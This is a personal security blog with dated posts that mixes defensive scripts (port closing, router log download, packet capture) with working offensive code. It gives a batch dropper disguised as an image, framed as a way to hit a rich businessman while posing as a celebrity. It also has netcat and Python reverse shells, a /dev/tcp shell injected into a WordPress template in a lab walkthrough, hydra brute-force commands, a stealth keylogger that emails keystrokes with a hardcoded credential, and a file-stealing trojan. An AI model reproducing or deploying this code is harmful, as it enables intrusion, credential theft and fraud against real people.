Friday, July 29, 2022

Python: A simple script to closed Ports in Windows 10

Any open port in Windows can be used by hackers to either upload malware, trojan, or may be used to control the machine  so it is important to close ports that are opened and not being used by the system.

I have prepared a simple python script to automate the process. I only closed those ports that are in "LISTENING" status, I also checked that certain ports are being used by the system and identified them in Task Manager via PID and tried to end the task. I also tried to killed the tasks associated with the port but not forcefully. The simple script is self explanatory because it is very short and simple.

To manually close a port, follow this path:

Start->Control Panel -> Windows Firewall -> Advance Settings -> Inbound Rules -> New Rule -> Port -> UDP/TCP -> Port Number -> Block Connection -> Rule Name 

Type the following at command prompt(Run as Admin) to display list of TCP and UDP ports currently listening on the computer with PID:

netstat -a -o -n


 

You must have admin rights to run the program or if you run it in command prompt, you should run it as Administrator.

Here is the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os

cmd = 'netstat -a -o -n > ports.txt'
os.system('cmd /c "'+ cmd + '"')
message=open(r'C:\temp\ports.txt', 'r')
lines =message.readlines()
message.close()
i=0
eports = '135 445 139'
pid = '4'
iport=[]
for line in lines:
   line = line.strip()
   if i>3:
     x = line.split(':')
     if line.find('[::]') != -1 and line.find('LISTENING') != -1:
        x = line.split(':')
        x[1]=x[3]
        x[2]=x[6]
     
     if x[2].find('LISTENING') != -1:
          y = x[1]          
          y = y[0:5]
          y = y.strip()
          
          z = x[2].split()
          a=z[-1]
          #print(a)
          if a != pid or eports.find(y) == -1:
             iport.append(y)
             os.system('taskkill /pid ' + a)
   i+=1 
iport = list(dict.fromkeys(iport))
for ports in iport:
   os.system('netsh advfirewall firewall add rule name="' + ports + 'port' + '" protocol=TCP dir=out remoteport=' + ports + ' action=block')
    
      
     

Friday, July 22, 2022

A Basic Backdoor Creation Technique

Hackers do find clever ways to evade detection. There are a number ways to do this like for example a hacker was able to steal money from Axie(the latest news) by inserting a trojan on a pdf file that supposedly contained a job offer. The employee was approached while at work and after a series of online interviews, the recruiter told him they are willing to hire him and sent him the pdf job offer document. The employee downloaded the file at his work station and opened and the hacker gained access to the company's network infrastructure resulting in multi-million dollar heist.

Today I will create how the hacker did this in its most basic way and always remember that this is just for educational purposes only. DONOT use this for any illegal purposes.

 Create a batch file with following command:


1
2
3
PowerShell -Command "Invoke-WebRequest 'https://web.com/image.JPG' -OutFile c:\TEMP\matrix.png"

c:\TEMP\matrix.png

The above command is an instruction to download an image and save it at c:\temp. Since it is a batch file, you can actually create another line of code which is identical to the first but instead of an image, you can specify a program that contains malicious code like a trojan(gate opener or creates a backdoor), a keylogger, a virus, etc. 

The .bat file is already executable but it is still very obvious, you you need to disguise it as an image. The scenario is you are impersonating a celebrity and you are chatting with a rich businessman and when you are asked to send your photo, you need to show it at the chat room as an image, of course you can not send it as .bat file. So to disguise the application, you will need to convert it into an executable file. You may use a bat to exe converter and you assign an icon to the exe file resulting in a disguised image in the chatroom. 


Once the file was downloaded and opened, the image will be shown and at the same time the other application gets downloaded and executed. 

You will need to disable your antivirus while doing this experiment.


Reverse Shell with Netcat

Netcat is a very popular tool for Network Administrators because it allows them to manage machines(pc and servers) remotely but unfortunately it is also a favorite tool of hackers and to prove this, with just 1 line of command that can be injected on a webpage would create a backdoor(see my previous post "Mr Robot 1 from Vulhub Part 5" how I used it to gain entry to the system using Netcat Reverse Shell). 

Reverse shell is one of the important things to know when you are aspiring to become a Penetration Tester. Reverse shell is a technique wherein a hacker's goal is to connect to a remote computer and redirect the input and output connections of the target system’s shell so the attacker can access it remotely.

I did an experiment using my Kali Linux on virtual box and my host Windows 10 OS(operating system) to check if it can be done with other scenarios, I have succeeded in code injection so far. The first thing I did was to install Netcat and I did a little research and it comes with the installation of Nmap for Windows, so I downloaded Nmap, install it and go to the directory where it was installed and in CMD, I typed "ncat -nvlp 768" and I got the following result:

What I just did was I set my Windows 10 OS to listen or intercept any data coming from port 768. 

The next step I did is to open my Kali Linux and type the following at the terminal(by the way, Netcat is already pre installed in Kali): "nc -nv 192.168.254.181  768 -e /bin/bash".

The following is the result in Kali:

and on my Windows 10 OS:


This means that a connection was established. To check if the connection is working, I typed "ls" from my Windows 10 OS and got the following result:

 

An alternative to Netcat is a python program. Check out the code below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("0.0.0.0", 7777))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

Hackers sometimes in order to evade detection, they need to seek alternatives by automating the process.




Wednesday, July 20, 2022

Mr Robot 1 from Vulhub Part 5

 So the username has been found, I will apply the brute force attack in guessing the password.I tried Hydra again but it does not seem to work so I used Wpscan. Wpscan came pre installed with the virtualbox Kali Linux but it needs to be updated before it will work which means it needs to connect to the internet so I have to reconfigure my Kali Linux installation by changing the network setting to Nat. This is needed because I set to 'Internal Network' in order for the the 2 vbox machines to log into the same network(Part 1).


Wscan is updated using the command "sudo wpscan --update". After getting it updated I have to set the network setting to 'Internal Network" again and it should be ready.

I typed wpscan  -U Elliot -P wordlist.dic --url http://192.168.3.3 and I got the following result:


The password found was ER28-0652, immediately, I tried it on the login screen and indeed, it was correct!

Now that I can login to the website, I will need to make changes(code injection) to one of the pages particularly the 404 template and  type a simple php reverse shell. It is a gate opener where a tcp outbound connection from the webserver to a host and port of my choice.The following code will have to be effected to the page:

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.2/443 0>&1'");

The ip address is my vbox machine's ip address where the Kali Linux is running.

To do this, just go to Appearance>Editor>404 template.


After saving the changes, I open another browser tab, I need to type a webpage that will trigger the "Page Not Found" or 404 Template page, but first, I have to listen to the port 443 on my Kali Machine by typing "nc -lvp 443" on the terminal. Going back to the browser, I entered "http://192.168.3.3/test" and the 404 page showed up as expected and my terminal intercepted the signal and ultimately I was logged in remotely to the Mr Robot Vbox Machine, to check and confirm, I typed in 'ls' and see below result:

And if I am a hacker, I can now do what a hacker do like upload keylogger, a trojan horse, explore the machine for files that contains their credit card information or upload scripts that will make the machine inoperable. And that concludes this Mr Robot  series.




Routersploit: A Kali Linux tool for checking vulnerabilities of Routers and IoT Devices

 As part of  Penetration Testing activities, we need to check whether routers, wifi security cameras or any other internet of things(IoT) devices that act as access points have vulnerabilities that a hacker may use as a backdoor or be able to destroy the device by injecting malicious codes. Routersploit is the most popular tool used by hackers to carry out their attacks and as a Penetration Tester, knowing what hackers use can help prevent the attacks by knowing the vulnerability of devices before hackers discover them. 

RouterSploit is a handy hacking tool targeted at routers. It is made in Python. By using Python, the hacking tool has automated most of the tasks related to hacking and compromising routers. As mentioned previously it is Modeled after Metasploit and thus can be easily be used by people familiar with Metasploit, Routersploit has no graphical user interface(you can imgaine yourself as a wannabe computer expert just like those in the movies).

To install routersploit on kali linux, follow these steps(Type the following into the terminal:):

  • git clone https://github.com/threat9/routersploit
  • cd routersploit
  • python3 -m pip install -r requirements.txt

If you succeeded in the installation, just run routersploit by typing "python3 rsf.py" on the terminal.

The router ip address must be known at this stage.  The ip address of a router can be found using nmap scan or any other popular techniques. 

To check the available exploits, just type "show all".

To enter into scanning mode, just type "use scanners/autopwn".

To set the target, just type  set target <ip address>".

To scan for vulnerabilities, just type "run". The program will show each of the known exploits and it will indicate if the device is vulnerable/not vulnerable/could not be verified.

If you found a vulnerable exploit and you want to test that exploit, just type "use <exploit>", then type "set  target <ip address>", then type "check" to confirm that the device is vulnerable. And lastly, type "run" to carry out the attack.

If the exploit was successful,  other cyber attacks will follow like uploading of viruses, keyloggers, changing user passwords, and so on.

And lastly, as a reminder, the contents of this post is for educational purposes only.

In my case I tried on my Huawei WL3B310M Globe Prepaid Home Wifi Router, and I din not find any vulnerablity, maybe I should research more to find an appropriate exploit for this router, I googled it and did not find any either, I was wondering if the payload creation in Metasploit is possible, maybe I will try to do some experiments on that on my homelab.




Stealth Keylogger and Auto Send Email

Hackers usually once gained entry into the network and acquired admin access, one of the first things they do is upload viruses and stealth apps like  keyloggers to steal information like usernames and passwords or perhaps credit card number. 

I have created a simple application in python to record every pressed keys, capture the window title of active window and once the recorded characters reaches certain length(100 characters), the program will automatically send it to the hacker's email address. This app will stay on the target machine if an antivirus was not able to detect it, that is why I have to turn off my antivirus software while making this program because it automatically deletes it even when I have already included the script to the exception list. Staying in the target for sometime is called persistence.

This is for educational purposes only and it is meant as a tool for any authorized penetration testing. Stealing password and username is illegal you will end up in jail once cought.


The code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import pynput as putty
import logging
import os
import pyautogui

logkeys=''
logkeys_limit = 100 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format="%(message)s")
 
def on_press(key):
    logging.info(str(key))
    if key == putty.keyboard.Key.esc:
        keyboard_listener.stop()
        mouse_listener.stop()
        quit()
    global logkeys
      

    if len(logkeys) >= logkeys_limit:            
            send_log() 
            logkeys = ''
    elif key == putty.keyboard.Key.shift_l or key == putty.keyboard.Key.shift_r:
        return
    elif key == putty.keyboard.Key.enter:
         logkeys += '~'
    elif key == putty.keyboard.Key.space:
         logkeys += ' '     
    elif key == putty.keyboard.Key.backspace:
        logkeys = logkeys[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        logkeys += char
   
def on_click(x, y, button, pressed):
    global logkeys
    
    window_title = str(pyautogui.getActiveWindowTitle())
    logkeys += '~'
    logkeys += window_title
    logkeys += '~'
    if len(logkeys) >= logkeys_limit:            
            send_log() 
            logkeys = ''
def send_log():
    global logkeys
    cmd = 'SwithMail.exe /s /from "haha@gmail.com" /name "name" /pass "khczysagbdifmzxj" /server "smtp.gmail.com" /p "587" /SSL /to "hoho@yahoo.com" /sub "logs" /b "' + logkeys + '"'
    os.system('cmd /c "'+ cmd + '"')
     

keyboard_listener = putty.keyboard.Listener(on_press=on_press)
mouse_listener = putty.mouse.Listener(on_click=on_click)


keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()    

Saturday, July 16, 2022

Hacking Wifi Networks with my Gole 1 Mini Pc

 The title suggests that the task was not very easy and I am happy to share what I just have learned the past 3 days. This tutorial is for educational purposes only and hacking someone else's wifi network is illegal. 

The equipment I used was my Gole 1 mini PC, This tiny pc has a wifi card that supports network monitoring mode. I was able to discover this feature by running cmd as admin, then  typing "netsh wlan show all" and I looked for the section  "Wireless Device Capabilities"  and the following screenshot shows it:


The software I used are the following:

  • Windows 10
  • Commview(trial version) for Wifi
  •  Aircrack-ng gui
  • Wordlist text file  

This is my first time to check if my password is hackable so it took me a few days to research how to carry out the task. My main source of information is youtube, there are quite a few tutorials there but often the information they shared was not the same as my scenario. I have no wireless usb adapter that is supported by kali linux, that's why I thought this task is quite impossible to do but with my endless perseverance and patience, I made it.

Commview for Wifi is a network packet sniffer similar to wireshark but  the difference is Commview is created to capture network packets even if the device is not connected to that network. It means, it just keeps on receiving information from wireless routers as long as those wifi routers are within the reception range of my wifi card. There are so many tutorials on the web on how to use commview which I recommend(I will not discuss here anymore) but were not complete. The information missing common to all those tutorials I watched on youtube was the type of packets that needs to be captured by the software which are the following: Management Frame, Beacon Frame, Deauthentication frame and Authentication Frame. These 4 frames are created when a device requests to connect to the router. It is also called the famous 4 way handshake. The captured packets must be saved as .cap file. Just remember that while commview is running, the wifi adapter will enter into monitor mode which means the computer can not connect to the internet.


Aircrack-ng gui is the software I used to attack my router using bruteforce method. And to enable me to do it, I would need millions of random words(wordlist text file). But since I am just attacking my own router, I only used a few words which already included my wifi password.  Aircrack-ng suite is also very popular among kali linux users because it is free. The linux version has a software that would force a device to be disconnected to the router just to make the device to reconnect and as I mentioned earlier this reconnecting event will trigger the 4 way handshake. Kali linux users does not need to use commview anymore, I think those features are also available in the windows version but because due to lack of documentation and still very few windows users are familiar with Aircrak-ng software suite, I am not able to take advantage of those features.

 And here is the result:



Conclusion: The password can be hacked if I used only common words, but the file I used which contained 1.1m words does not contain my password. This does not end here, hackers are very clever, they have a system that collects passwords used by real people and they used social engineering techniques which are also machine learning models to collect profiles and typical habits of their targets. To avoid getting hacked I should not follow certain patterns and develop regular habits which would give hackers clues.




Wednesday, July 13, 2022

Mr Robot 1 from Vulhub Part 4

 Now I was left with the dictionary file I found on the robot.txt file, my guess is its location is at the root directory of the website. So I plan to download the file but before doing that, I would like to play a guessing game. It is quite known that unsecured wordpress blogs usually have weakness that are easily exploitable. I would like to check if my theory is correct by trying to login into the wordpress site using the name of the characters in the tv series. And it seems I found the user, by typing elliot, darlene and tyrell and some random name ahmad. See the error messages:

 

All of the error messages are the same except elliot, the lead character, it is obvious that elliot is a valid username. But what if it is not based on a tv series, that would leave me no choice but to use brute force in guessing the username. To do that I would need lots of words probably billions but maybe the dic file suggests a clue, so I m going to use it but first I need to download it, and to do this, I will use the wget command by typing the following at the command prompt: wget 192.168.3.3/fsocity.dic and to display its contents type: cat fsocity.dic. It really contain lots and lots of words. So I will use it to generate wordlist.dic by typing: cat fsocity.dic | sort -u | uniq > wordlist.dic and now I am ready to perform the brute force attack by using hydra. I just typed the following to carry out the attack: hydra -V -L wordlist.dic -p 123 192.168.3.3 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’. I did not let the tool finish its work because I already saw a green row:

it was the same as I have predicted: it contained the word "elliot".


To be continued...





Tuesday, July 12, 2022

A simulation of a Cyber Attack

I want to check if wireshark can capture packets during a cyber attack by experimenting a simulated cyber attack. The scenario is that the cyber attack was spotted at port 8080 using TCP protocol. The attacker is using a simple python script(the popchat.py).

So I immediately run wireshark and the result is astonishing, the packets was indeed captured live see image below.


I used my ip address as display filter to limit the packets being captured since my pc is capturing tons 0f packets. It was really easy to find the packets that I am interested in because I know the port number and the protocol used(TCP) and by clicking the row(both source and destination) I am able to capture the message exchange between the server and slave. The payload was the word "hi" and "hello", in actual hacking incidences, it could have been an instruction to delete a file, download a file, or upload a file(a ransomware perhaps).

Hacking can be done through using this method and it seems a network packet scanner can be created to prevent this from happening(just an idea).


Monday, July 11, 2022

Mr Robot 1 from Vulhub Part 3

 In just a short recap, in part 1, I have gained network entry and a valuable lesson and that is to isolate the virtualbox environment from the internet while in part 2 I have discovered that a Wordpress blog is being hosted on my target device but my question is what if I did not typed the ip address on a browser with the allowed commands, what other methods is possible to use to allow me to discover something about the ip address, nmap has already showed that 443 and 80 are open ports suggesting already that it hosts a website.

Before I answer that question, I still need to perform an optional audit check on the http port using wapiti to enable me to gain an insight of the overall picture. I just typed wapiti -u https://192.168.3.3 at the command prompt and the result was in a form html link and here is the result:

 




Wapiti found several vulnerabilities which I think the pen testing should go on.

To answer that question, the other popular Kali pen test tool is Nikto. Just type nikto -h 192.168.3.3  for finding allowed webpages.  I got the following result:



which suggests that there is a wordpress login system

Knowing that a website is active, I predict that a robots.txt file which is to control web crawling bots(it is a usual practice of web developers that robots.txt is really a necessity.) so randomly, I typed in 192.168.3.3/robots.txt and I was right, I got the following result:

What if I don't have knowledge in web development,  I could have not known that a robot.txt file existed at all. There is a way to check the root directory by using script http-enum. this is an nmap option that enumerates directories used by popular web applications and servers. So I just typed in nmap  -sV --script=http-enum.nse 192.168.3.3 and I found robot.txt file(see resulting output). This command is also another alternative to nikto because the output also shows that a wordpress website is being hosted on the ip address.


By examining the file's content, fsocity.dic is a dictionary file, fsocity in the actual tv program is the organization that brought down the Evil Conglomerate, and.dic files usually contain words, so I think it suggest that it contains the possible password and username which will allow me to gain entry into the computer? 

To be continued...

Sunday, July 10, 2022

Trojan horse type Python Script

A trojan horse virus is a type of software that don't only enable a hacker gain entry into a target computer or server but enables a hacker deliver the payload, steal important files delete these files and worse destroy the target computer. It serves as the gate opener. In today's post, I have prepared a simple python script(although it is still half baked, it is only meant to demonstrate how a trojan horse type software can actually do) to show how to display the directories, filenames and download a file. Other operations such as, uploading a file, shutting down the target host or deleting a file is not covered. 

I used python socket library achieve this particular goal, in fact the program structure is very similar to the chat script that I created in my other post, in fact hackers create chat scripts like those, make it very attractive to their targets and hide these malicious codes.

Speaking of the delivery systems that hackers use, I have been thinking of  these methods as a possibility that you will be able to get this software by not being aware that you have it:

  • Downloading of files from unsecured servers
  • Visiting websites that have very low reputation
  • Clicking of links from phishing emails
  • Inserting usb  devices and memory cards without scanning for viruses
  • Unupdated Anti Virus
  • No firewalls
  • Using hackable passwords

The code:

1. Controlling software:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import socket

x = socket.socket()
host='DESKTOP-IMR6DAM'#my pc name
port=4040
x.bind((host,port))
print("")
x.listen(1)
conn,addr = x.accept()
print("")


while 1:
  command = input(str("Command >> "))#enter command
  if command == "dir":
    conn.send(command.encode())
    print("")
    files = conn.recv(5000)
    files = files.decode()
    print("Command output: " , files)
  elif command == "files":
    conn.send(command.encode())
    user_input = input(str("Folder: "))
    conn.send(user_input.encode())
    print(" ")
    files = conn.recv(5000)
    files = files.decode()
    print("Files(List Format): " , files)
  elif command == "copyfile":
    conn.send(command.encode())
    filepath= input(str("Filename: "))
    conn.send(filepath.encode())
    print("")
    files = conn.recv(100000)  
    filename= input(str("Filename: "))    
    new_file=open(filename, "wb")
    new_file.write(files)
    print("")
    new_file.close()
  else:
    print("Invalid Command")
  

2. Gate opener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
import socket

s = socket.socket()
port=4040
host = 'DESKTOP-IMR6DAM'#this will depend on your hostname
s.connect((host,port))
print("")

while 1:
  command = s.recv(1024)#recieve command
  command = command.decode()
  if command == "dir":
     files = os.getcwd()
     files = str(files)    
     s.send(files.encode())
     print(" ")
  elif command == "files":
    user_input = s.recv(5000)
    user_input = user_input.decode()
    files = os.listdir(user_input)
    files = str(files)
    s.send(files.encode())
    print(" ")
  elif command == "copyfile":
    filepath = s.recv(5000)
    filepath = filepath.decode()
    file = open(filepath,"rb")
    data = file.read()
    s.send(data)
    print("")
  else:
    print("Invalid Command")


Saturday, July 9, 2022

Python A Simple Chat Script

 This is a simple chat application using python socket library. The script accept the following input arguments:

Argv 1 = enter 1(server) or 2(client)

Argv 2 = port number

Argv 3 = host

To run the program as server: python popchat.py 1 8080 test(any string)

To run the program as a client: python popchat.py 2 8080 hostname

 If run on a different pc, replace the host in server with '0.0.0.0' and firewall may have to be disabled(be careful).

I use the following code to disable/enable my firewall:(Windows 10):

1
2
import subprocess
subprocess.check_call('netsh.exe advfirewall set publicprofile state on')

Use "on" to enable the firewall and "off" to disable.

The output:


The code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import sys
import os
import socket


def popper():
 print("")
 s.listen(1)
 print("")
 conn,addr = s.accept()
 while 1:
     
    command = input(str("Command >> "))
    conn.send(command.encode())
    files = conn.recv(5000)
    files = files.decode()
    print(files)
    
  

def poppee():
  while 1:
    
    
    files = s.recv(5000)
    files = files.decode()
    print(files)
    
    command = input(str("Command >> "))
    s.send(command.encode()) 
    
if __name__ == "__main__":
   s = socket.socket()
   port=sys.argv[2]
   print(sys.argv[1],sys.argv[2])
   if sys.argv[1] == '1':
     host=socket.gethostname()
     print(host)
     s.bind((host,int(port)))
     popper()
   else:
     host = sys.argv[3]
     print(host)
     s.connect((host,int(port)))
     poppee()    



Friday, July 8, 2022

Python Machine Learning Threat Hunting with Wireshark Part 2

 Analyzing the individual packets on a network might seem to be be very accurate but very impractical because of large data involve. Analyzing the packet's metadata would seem to be a better way to approach the problem. Metadata only involves the time, ip destination and ip source. Once data are obtained, each ip will be further analyzed based on its rated reputation this is done by using the following online tools:

  • MX ToolBox
  • CISCO Senderbase
  • McAfee TrustedSource
  • Spamhaus
  • Project Honeypot

 And to capture the pcap file and covert it to csv file, I use the following python script:

1
2
3
4
5
6
import os
import pandas as pd
os.system("tshark -i 3 -T fields -E separator=, -e frame.time -e ip.src -e ip.dst -e udp.srcport -e udp.dstport  -w Eavesdrop_Data.pcap > Eavesdrop_Data.csv -F pcap -a duration:20")
df = pd.read_csv('Eavesdrop_Data.csv')
new_df = new_df.dropna()
new_df.to_csv("Eavesdrop_Data.csv")

Once the data captured, I will use selenium to submit the ip addresses to above mentioned online tools.

....(to be continued)

Thursday, July 7, 2022

Mr Robot 1 from Vulhub Part 2

To check all devices connected to our network, there are 2 ways which are to use nmap and / or netdiscover command. Remember I have no idea what I am looking for all I know is that I was asked to conduct penetration test and assuming I already have gained entry to the network which I just did in part 1, all I have to do is to wait for every employee go home so that only the server will be up and running so basically, if I scan the network, only the server and my pc will be connected and the way to find this device is to use nmap and netdiscover and I will compare the results of these command lines.

Download Router System Logs using Selenium to Check Intrusions

I have noticed lately that several hacking attempts is being logged by my Globe Home Prepaid Wifi Router. I need to check this every once in a while and thinking that I must record the logs at least once a day and save it to a CSV file for discovering any network intrusions or perhaps discover patterns on the behavior of the attacker.

I prepared a very short python program to automate the downloading process and since I am using windows, I will have to create a scheduled task. If you want to run for yourself, you will need to download the chrodedriver.exe and save it to the directory where the python file is located.

The code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
driver = webdriver.Chrome("chromedriver")
driver.get("http://192.168.254.254/html/overview.html")
driver.find_element(by=By.ID, value="logout_span").click()
# find username/email field and send the username itself to the input field
driver.find_element(by=By.ID, value="username").send_keys('user')
# find password input field and insert password as well
driver.find_element(by=By.ID, value="password").send_keys('########')
# click login button
driver.find_element(by=By.ID, value="pop_login").click()

#driver.find_element(By.LINK_TEXT,'Advance').click()
WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.LINK_TEXT,'Advance'))).click()

#driver.find_element(By.LINK_TEXT,'Advance').click()
WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.LINK_TEXT,'System Logs'))).click()

tbl = driver.find_element(by=By.ID, value="show_log_table").get_attribute('outerHTML')
df  = pd.read_html(tbl)
print(df)

Wednesday, July 6, 2022

Python Machine Learning Threat Hunting with Wireshark

 Wireshark is an app that captures live network traffic. All activities in a pc that is connected to a network has to send and receive data over the network. Viruses nowadays often originates from websites. but wireshark does not only scans network traffic, it can also check USB traffic. To understand the network traffic, a solid understanding of the OSI model is a must.

As a beginning, malwares are often get downloaded using the HTTP protocol, So to analyze the packets inside it, it should be downloaded from wireshark and upload this file at Virustotal.com for further analysis.

This project will be a python program to gather network packets and save it to a pcap file and submit this file to virustotal.com using their api for virus detection, this will be our raw data to discover patterns using keras/tensorflow(this still on R&D stage so I am still not sure what will be the type of machine learning problem it will be).

Capturing Network Packets

I used TSHARK(an application that gets installed when Wireshark is installed) to capture network packets from the command line, and for example, I need to capture packets in 10 seconds over the wifi network and save the captured packets to file, I would use the following python code:

import os
os.system('cmd /c "tshark -i 3 -w packet_log.pcap -a duration:10"')

 

....(to be continued)

Tuesday, July 5, 2022

Mr Robot 1 from Vulhub

Mr Robot 1 is a virtual machine which can be downloaded from Vulhub. This virtual machine has linux installed on it and intentionally with unknown username and password. It is intentional because cybersecurity practitioners use this to practice their skills by guessing the username and passwords using the industry's best practices. 

To start with the process, I used Kali Linux on Virtualbox because Kali Linux already has all the tools that a cyber security practitioner needs. The next step is to make my Kali Linux  and Mr Robot 1 connect on the same network. In VirtualBox, there is a Network Settings for each installed Virtual Machine(VM). I made the setting on both VM(Kali and Mr Robot) the same(see figure 1).